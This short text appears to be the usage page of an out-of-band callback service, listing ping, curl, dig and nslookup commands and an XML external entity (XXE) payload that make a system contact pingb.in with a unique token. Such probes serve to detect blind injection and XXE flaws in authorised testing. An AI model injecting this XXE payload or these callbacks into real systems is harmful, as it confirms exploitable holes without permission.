$ ping -c1 -p 008a28740a5146591ab944b31734a000 pingb.in
 

$ curl pingb.in/p/8a28740a5146591ab944b31734a0
 

$ dig 8a28740a5146591ab944b31734a0 @pingb.in
 

$ dig 8a28740a5146591ab944b31734a0.ns.pingb.in
 

C:\> nslookup 8a28740a5146591ab944b31734a0 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/8a28740a5146591ab944b31734a0">]>
    <foo>&xxe;</foo>